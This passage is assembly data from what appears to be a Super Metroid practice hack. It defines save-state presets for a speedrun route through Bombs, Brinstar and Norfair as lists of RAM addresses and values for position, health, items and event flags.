dl $7ED826 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED828 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED82E : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED830 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED832 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED834 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED836 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED838 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED83E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED840 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED842 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED844 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED846 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED848 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED84E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED850 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED852 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED854 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED856 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED858 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED85E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED860 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED862 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED864 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED866 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED868 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED86A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED86C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED86E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED870 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED872 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED874 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED876 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED87E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED880 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED882 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED884 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED886 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED888 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED88E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED890 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED892 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED894 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED896 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED898 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED89E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8A8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8AE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8BE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8C8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8CE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8D8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8DE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8E8 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8EE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F0 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F2 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F4 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F6 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8F8 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED8FA : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8FC : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED8FE : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED900 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED902 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED904 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED906 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED908 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90C : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED90E : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED910 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED912 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED914 : db $02 : dw $0005 ; Events, Items, Doors
dl $7ED916 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED918 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED91C : db $02 : dw $1010 ; Events, Items, Doors
dl $7ED91E : db $02 : dw $0000 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_bombs_pit_room:
dw #preset_rbo_bombs_parlor_down ; Bombs: Parlor Down
dl $7E078D : db $02 : dw $8B92 ; DDB
dl $7E079B : db $02 : dw $975C ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E07F5 : db $02 : dw $0000 ; Music Track
dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $0004 ; Equipped Items
dl $7E09A4 : db $02 : dw $0004 ; Collected Items
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E09C8 : db $02 : dw $0005 ; Max missiles
dl $7E0AF6 : db $02 : dw $02D8 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED872 : db $02 : dw $0400 ; Events, Items, Doors
dl $7ED874 : db $02 : dw $0004 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0004 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_bombs_retro_etank:
dw #preset_rbo_bombs_pit_room ; Bombs: Pit Room
dl $7E078D : db $02 : dw $8EAA ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9F11 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $BBFF ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0059 ; Health
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E0A1C : db $02 : dw $0053 ; Samus position/state
dl $7E0A1E : db $02 : dw $0A08 ; More position/state
dl $7E0AF6 : db $02 : dw $00D1 ; Samus X
dl $7ED820 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $0600 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $0004 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0005 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_bombs_climb:
dw #preset_rbo_bombs_retro_etank ; Bombs: Retro E-Tank
dl $7E078D : db $02 : dw $8B92 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $975C ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00B8 ; Health
dl $7E09C4 : db $02 : dw $00C7 ; Max health
dl $7E09C6 : db $02 : dw $0007 ; Missiles
dl $7E09C8 : db $02 : dw $000A ; Max missiles
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0076 ; Samus X
dl $7ED872 : db $02 : dw $3400 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0009 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_bombs_parlor_up:
dw #preset_rbo_bombs_climb ; Bombs: Climb
dl $7E078D : db $02 : dw $8B7A ; DDB
dl $7E079B : db $02 : dw $96BA ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8800 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00C7 ; Health
dl $7E09C6 : db $02 : dw $000A ; Missiles
dl $7E0A1C : db $02 : dw $001A ; Samus position/state
dl $7E0A1E : db $02 : dw $0304 ; More position/state
dl $7E0AF6 : db $02 : dw $0198 ; Samus X
dl $7E0AFA : db $02 : dw $0040 ; Samus Y
dw #$FFFF
.after
preset_rbo_bombs_alcatraz:
dw #preset_rbo_bombs_parlor_up ; Bombs: Parlor Up
dl $7E078D : db $02 : dw $8BAA ; DDB
dl $7E079B : db $02 : dw $9879 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $B800 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $1004 ; Equipped Items
dl $7E09A4 : db $02 : dw $1004 ; Collected Items
dl $7E0A1C : db $02 : dw $0012 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0027 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED828 : db $02 : dw $0004 ; Events, Items, Doors
dl $7ED870 : db $02 : dw $0080 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2E00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $000A ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_bombs_terminator:
dw #preset_rbo_bombs_alcatraz ; Bombs: Alcatraz
dl $7E078D : db $02 : dw $8BB6 ; DDB
dl $7E079B : db $02 : dw $92FD ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position
dl $7E0A1C : db $02 : dw $0032 ; Samus position/state
dl $7E0A1E : db $02 : dw $0804 ; More position/state
dl $7E0AF6 : db $02 : dw $0118 ; Samus X
dl $7E0AFA : db $02 : dw $0082 ; Samus Y
dw #$FFFF
.after
preset_rbo_brinstar_green_brinstar_elevator:
dw #preset_rbo_bombs_terminator ; Bombs: Terminator
dl $7E078D : db $02 : dw $8C22 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9938 ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $6880 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00EF ; Health
dl $7E09C4 : db $02 : dw $012B ; Max health
dl $7E0A1C : db $02 : dw $0010 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $00D8 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED870 : db $02 : dw $0180 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $000D ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_early_supers_reserve:
dw #preset_rbo_brinstar_green_brinstar_elevator ; Brinstar: Green Brinstar Elevator
dl $7E078D : db $02 : dw $8C0A ; DDB
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $041C ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00E5 ; Health
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00B2 ; Samus X
dl $7E0AFA : db $02 : dw $048B ; Samus Y
dl $7ED8B4 : db $02 : dw $0002 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $000E ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_early_supers_collection:
dw #preset_rbo_brinstar_early_supers_reserve ; Brinstar: Early Supers Reserve
dl $7E078D : db $02 : dw $8D5A ; DDB
dl $7E079B : db $02 : dw $9C07 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C0 : db $02 : dw $0001 ; Manual/Auto reserve tank
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E09D4 : db $02 : dw $0064 ; Max reserves
dl $7E0A1C : db $02 : dw $0012 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $003E ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED872 : db $02 : dw $3402 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0042 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0013 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_big_pink:
dw #preset_rbo_brinstar_early_supers_collection ; Brinstar: Early Supers Collection
dl $7E078D : db $02 : dw $8CE2 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $9CB3 ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $054F ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00D1 ; Health
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09CC : db $02 : dw $0005 ; Max supers
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $05DB ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED872 : db $02 : dw $3403 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0046 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0016 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_red_tower_up:
dw #preset_rbo_brinstar_big_pink ; Brinstar: Big Pink
dl $7E078D : db $02 : dw $8E92 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9FBA ; MDB
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position
dl $7E09A6 : db $02 : dw $1000 ; Beams
dl $7E09A8 : db $02 : dw $1000 ; Beams
dl $7E09C2 : db $02 : dw $00B3 ; Health
dl $7E0AF6 : db $02 : dw $0571 ; Samus X
dl $7ED872 : db $02 : dw $3483 ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0246 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $000C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $001A ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_reverse_hellway:
dw #preset_rbo_brinstar_red_tower_up ; Brinstar: Red Tower (Up)
dl $7E078D : db $02 : dw $90EA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A322 ; MDB
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $04F3 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $007F ; Health
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E09CE : db $02 : dw $0004 ; Pbs
dl $7E09D0 : db $02 : dw $0005 ; Max pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0030 ; Samus X
dl $7E0AFA : db $02 : dw $058B ; Samus Y
dl $7ED874 : db $02 : dw $0104 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $300C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $001C ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_norfair_elevator:
dw #preset_rbo_brinstar_reverse_hellway ; Brinstar: Reverse Hellway
dl $7E078D : db $02 : dw $A384 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A6A1 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1004 ; Beams
dl $7E09A8 : db $02 : dw $1004 ; Beams
dl $7E09C2 : db $02 : dw $004B ; Health
dl $7E09C6 : db $02 : dw $0002 ; Missiles
dl $7E0A1C : db $02 : dw $000F ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0049 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED874 : db $02 : dw $0504 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $B00C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $001D ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_high_jump:
dw #preset_rbo_norfair_first_visit_norfair_elevator ; Norfair (First Visit): Norfair Elevator
dl $7E078D : db $02 : dw $9246 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E079F : db $02 : dw $0002 ; Region
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $051C ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $002B ; Samus X
dl $7E0AFA : db $02 : dw $058B ; Samus Y
dl $7ED8B8 : db $02 : dw $2000 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_first_hell_run:
dw #preset_rbo_norfair_first_visit_high_jump ; Norfair (First Visit): High Jump
dl $7E078D : db $02 : dw $941A ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $BFFF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $02F6 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $1104 ; Equipped Items
dl $7E09A4 : db $02 : dw $1104 ; Collected Items
dl $7E09C2 : db $02 : dw $018F ; Health
dl $7E09C4 : db $02 : dw $018F ; Max health
dl $7E09CE : db $02 : dw $0003 ; Pbs
dl $7E09D6 : db $02 : dw $0028 ; Reserves
dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00A0 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED876 : db $02 : dw $0120 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0022 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_bubble_mountain:
dw #preset_rbo_norfair_first_visit_first_hell_run ; Norfair (First Visit): First Hell Run
dl $7E078D : db $02 : dw $929A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $AFA3 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0079 ; Health
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E09CA : db $02 : dw $0001 ; Supers
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $04B4 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED8B8 : db $02 : dw $2600 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0023 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_bat_cave_speed_farm:
dw #preset_rbo_norfair_first_visit_bubble_mountain ; Norfair (First Visit): Bubble Mountain
dl $7E078D : db $02 : dw $973E ; DDB
dl $7E079B : db $02 : dw $ACB3 ; MDB
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0075 ; Health
dl $7E09C6 : db $02 : dw $0001 ; Missiles
dl $7E09CA : db $02 : dw $0002 ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $01BD ; Samus X
dl $7ED8BA : db $02 : dw $0011 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0024 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_first_visit_wave_escape:
dw #preset_rbo_norfair_first_visit_bat_cave_speed_farm ; Norfair (First Visit): Bat Cave (Speed Farm)
dl $7E078D : db $02 : dw $961E ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $ADDE ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C400 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $3104 ; Equipped Items
dl $7E09A4 : db $02 : dw $3104 ; Collected Items
dl $7E09A6 : db $02 : dw $1005 ; Beams
dl $7E09A8 : db $02 : dw $1005 ; Beams
dl $7E09C2 : db $02 : dw $00CC ; Health
dl $7E09C6 : db $02 : dw $000D ; Missiles
dl $7E09C8 : db $02 : dw $000F ; Max missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E09CE : db $02 : dw $0005 ; Pbs
dl $7E09D6 : db $02 : dw $0064 ; Reserves
dl $7E0A1C : db $02 : dw $0018 ; Samus position/state
dl $7E0A1E : db $02 : dw $0204 ; More position/state
dl $7E0AF6 : db $02 : dw $0051 ; Samus X
dl $7E0AFA : db $02 : dw $0092 ; Samus Y
dl $7ED822 : db $02 : dw $0020 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $001C ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $00F1 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $002A ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_alpha_spark:
dw #preset_rbo_norfair_first_visit_wave_escape ; Norfair (First Visit): Wave Escape
dl $7E078D : db $02 : dw $92EE ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $A6A1 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0034 ; Health
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E09CE : db $02 : dw $0004 ; Pbs
dl $7E0A1C : db $02 : dw $0000 ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
